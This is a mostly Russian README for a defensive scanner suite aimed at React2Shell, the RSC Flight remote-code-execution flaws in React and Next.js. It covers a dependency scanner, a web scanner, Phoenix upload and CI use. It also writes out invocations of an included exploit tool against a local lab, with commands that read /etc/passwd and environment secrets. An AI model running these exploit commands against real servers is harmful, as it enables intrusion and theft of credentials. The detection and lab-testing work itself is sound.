Сканер для CVE-2025-55182 (React) и CVE-2025-66478 (Next.js) - Отслеживайте и устраняйте критическую кампанию по уязвимостям React Server Components (RSC) / Flight protocol, затрагивающую react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack и фреймворки с поддержкой RSC, такие как Next.js.
Внешняя уязвимость для класса ошибок React2Shell: две недавно раскрытые, неаутентифицированные уязвимости удаленного выполнения кода в протоколе Flight React Server Components (RSC) — CVE-2025-55182 (React) и CVE-2025-66478 (Next.js), обе оценены как CVSS 10.0. Эти проблемы связаны с тем, как конечные точки RSC/Server Function декодируют подконтрольные атакующему полезные нагрузки Flight, превращая один специально созданный HTTP-запрос в потенциальное выполнение кода на стороне сервера — даже в «стандартных» современных стеках React/Next.js, использующих App Router и production-сборки. Для многих команд это момент «срочно установите патч, проверьте уязвимость, затем проведите аудит», а не что-то, что можно отложить до следующего спринта по гигиене зависимостей. Папка LAB содержит эксплойты и лабораторные уязвимости для React2Shell
Этот проект предоставляет двунаправленный подход: (1) сканирование состава программного обеспечения / рисков зависимостей (этот инструмент) для быстрого поиска уязвимых библиотек и версий, и (2) веб-сканер DAST (React2Shell Web Scanner), который активно зондирует конечные точки RSC/Flight извне, проверяя, доступны ли эксплуатируемые пути в работающих средах. Вместе они помогают ответить как на вопрос «где находятся уязвимые компоненты?», так и на «где их можно реально эксплуатировать в производстве?», чтобы вы могли уверенно расставлять приоритеты по установке патчей, усилению защиты и реагированию на инциденты.
Для тестирования конечных точек в реальном времени и проверки RCE см. специализированный веб-сканер:
📁 web-scan_CVE-2025-66478/ - Полная документация и руководство
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Feature | Описание |
|---|---|
| 🔍 RCE Detection | Арифметическое безопасное обнаружение (без побочных эффектов) |
| 🎯 Technology Fingerprinting | Автоматическое определение приложений Next.js/React |
| 📊 Multi-Format Export | Отчеты в форматах JSON, CSV, HTML |
| 🔗 IOC Correlation | Сопоставление с 31+ известными вредоносными IP |
| 🌐 Scale Scanning | Диапазоны CIDR, перечисление поддоменов |
| ☁️ Phoenix Integration | Загрузка результатов в Phoenix Security |
| 💻 Exploit Tool | Выполнение команд на уязвимых целях |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell — это неаутентифицированный примитив удаленного выполнения кода против обработки полезных нагрузок React Server Components (RSC) в протоколе Flight. На практике это означает, что злоумышленник может отправить один специально сформированный HTTP-запрос к конечной точке RSC/Server Function и, если используется уязвимая версия, потенциально превратить «веб-приложение» в «серверную оболочку».
На высоком уровне:
Поскольку это неаутентифицированный RCE, стандартные производственные конфигурации находятся в зоне риска — даже если вы никогда явно не писали «серверную функцию», а просто использовали современные шаблоны React/Next.js. Средства защиты на уровне хостинга и обычные WAF не следует рассматривать как основную сеть безопасности: они могут снизить подверженность риску, но не смогут надежно компенсировать уязвимые библиотеки. Относитесь к этому как к инциденту:
После того как атакующий получает RCE через React2Shell, защитникам следует предполагать знакомую цепочку поражения:
.env, секретов развертывания, токенов CI, учетных данных служб и ключей подписи.Если ваш конвейер DevSecOps исторически рассматривал веб-уровень как «просто фронтенд», эта уязвимость является конкретной демонстрацией того, что фреймворки фронтенда могут нести глубокий радиус поражения на стороне сервера, когда задействованы семантика RSC и стриминг. Universal Vulnerability Scanner существует, чтобы помочь вам быстро ответить на вопрос «используем ли мы где-либо уязвимые пакеты?» и передать этот ответ в кампании, управляемые Phoenix, а вскоре и в дополняющую веб-проверку DAST живых конечных точек RSC.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
Сканер использует базу данных уязвимостей на основе JSON, расположенную по адресу:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Описание уязвимости",
"references": ["https://..."]
}
}
}
}
Создайте .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
Или используйте переменные окружения:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
Сканер включает комплексные тестовые образцы в test_samples/:
| Тестовый случай | Описание | Ожидаемые результаты |
|---|---|---|
rsc_vulnerable_exact/ | Точные уязвимые версии | 4 УЯЗВИМО |
rsc_vulnerable_range/ | Диапазоны версий | 4 УЯЗВИМО |
rsc_safe_versions/ | Исправленные безопасные версии | 6 БЕЗОПАСНО |
rsc_mixed/ | Смесь уязвимых/безопасных/чистых | 2 УЯЗВИМО, 1 БЕЗОПАСНО, 4 ЧИСТО |
rsc_with_lockfile/ | Разбор файла блокировки | 2 УЯЗВИМО, 1 ЧИСТО |
Запуск тестов:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/, наследующий от BaseScannerПример:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
Отредактируйте data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Описание уязвимости"
}
}
}
0 - Сканирование выполнено успешно, уязвимости не найдены1 - Сканирование выполнено успешно, найдены уязвимости2 - Сканирование не удалось (неверный ввод, ошибка базы данных и т.д.)Автоматически загружает результаты в Phoenix с:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyЧасть набора инструментов безопасности Shai Halud.
🔍 Оставайтесь в безопасности! Сообщайте об уязвимостях ответственно.